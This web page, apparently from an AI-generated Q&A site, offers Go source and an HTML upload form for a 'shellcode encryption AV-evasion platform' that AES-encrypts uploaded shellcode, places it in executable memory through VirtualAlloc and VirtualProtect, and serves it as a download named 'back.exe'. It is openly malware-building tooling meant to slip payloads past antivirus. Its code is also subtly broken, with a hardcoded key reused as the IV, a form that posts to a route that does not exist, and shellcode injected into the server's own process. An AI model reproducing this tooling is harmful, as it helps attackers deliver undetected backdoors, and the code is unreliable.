Go语言Shellcode加密免杀平台：加密、注入和下载payload
<p>package main</p>
<p>import (
'bytes'
'crypto/aes'
'crypto/cipher'
'encoding/base64'
'fmt'
'log'
'net/http'
'syscall'
'unsafe'
'io'
)</p>
<p>var (
kernel32 = syscall.NewLazyDLL('kernel32.dll')
virtualAlloc = kernel32.NewProc('VirtualAlloc')
virtualProtect = kernel32.NewProc('VirtualProtect')
rtlMoveMemory = kernel32.NewProc('RtlMoveMemory')
ntFlushInstructionCache = kernel32.NewProc('NtFlushInstructionCache')
)</p>
<p>const (
PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READ = 0x20 // Add missing constant
)</p>
<p>func main() {
http.HandleFunc('/', handleShellcode)
http.HandleFunc('/download', handleDownload)
http.ListenAndServe(':8080', nil)
}</p>
<p>func handleShellcode(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, 'Method not allowed', http.StatusMethodNotAllowed)
return
}
shellcode, err := io.ReadAll(r.Body)
if err != nil {
log.Println(err)
http.Error(w, 'Internal server error', http.StatusInternalServerError)
return
}
encryptedShellcode, err := encryptShellcode(shellcode)
if err != nil {
log.Println(err)
http.Error(w, 'Internal server error', http.StatusInternalServerError)
return
}
payload := generatePayload(encryptedShellcode)
w.Write(payload)
}</p>
<p>func handleDownload(w http.ResponseWriter, r *http.Request) {
w.Header().Set('Content-Disposition', 'attachment; filename=back.exe')
w.Header().Set('Content-Type', 'application/octet-stream')
shellcode, err := base64.StdEncoding.DecodeString(r.URL.Query().Get('shellcode'))
if err != nil {
log.Println(err)
http.Error(w, 'Internal server error', http.StatusInternalServerError)
return
}
encryptedShellcode, err := encryptShellcode(shellcode)
if err != nil {
log.Println(err)
http.Error(w, 'Internal server error', http.StatusInternalServerError)
return
}
payload := generatePayload(encryptedShellcode)
w.Write(payload)
}</p>
<p>func encryptShellcode(shellcode []byte) ([]byte, error) {
key := []byte('0123456789abcdef')
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
paddedShellcode := PKCS5Padding(shellcode, block.BlockSize())
mode := cipher.NewCBCEncrypter(block, key)
encryptedShellcode := make([]byte, len(paddedShellcode))
mode.CryptBlocks(encryptedShellcode, paddedShellcode)
return encryptedShellcode, nil
}</p>
<p>func PKCS5Padding(src []byte, blockSize int) []byte {
padding := blockSize - len(src)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(src, padtext...)
}</p>
<p>func generatePayload(shellcode []byte) []byte {
baseAddr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if baseAddr == 0 {
log.Fatal('VirtualAlloc failed')
}
_, _, _ = rtlMoveMemory.Call(baseAddr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
var oldProtect uintptr
_, _, _ = virtualProtect.Call(baseAddr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = ntFlushInstructionCache.Call(0, baseAddr, uintptr(len(shellcode)))
return []byte(fmt.Sprintf('Content-Type: application/octet-stream\r\nContent-Disposition: attachment; filename='back.exe'\r\n\r\n%s', base64.StdEncoding.EncodeToString(shellcode)))
}</p>
<!DOCTYPE html>
<html>
<head>
<meta charset='UTF-8'>
<title>Shellcode加密免杀平台</title>
<script src='https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js'></script>
</head>
<body>
<h1>Shellcode加密免杀平台</h1>
<form id='shellcode-form' enctype='multipart/form-data'>
<label for='shellcode'>Shellcode:</label><br>
<input type='file' id='file' name='shellcode'><br>
<br>
<button type='submit'>提交</button>
</form>
<pre><code><div id='result'></div>
<script>
$(document).ready(function () {
$('#shellcode-form').submit(function (event) {
event.preventDefault();
var formData = new FormData($(this)[0]);
$.ajax({
url: 'encode',
type: 'POST',
data: formData,
cache: false,
contentType: false,
processData: false,
success: function (data) {
var downloadUrl = 'download?filename=back.exe&shellcode=' + encodeURIComponent(data);
$('#result').html('<a href='' + downloadUrl + ''>下载payload</a>');
},
error: function () {
alert('提交失败，请检查网络或文件格式！');
}
});
});
});
</script>
</code></pre>
</body>
</html>
原文地址: https://www.cveoy.top/t/topic/lNhs 著作权归作者所有。请勿转载和采集!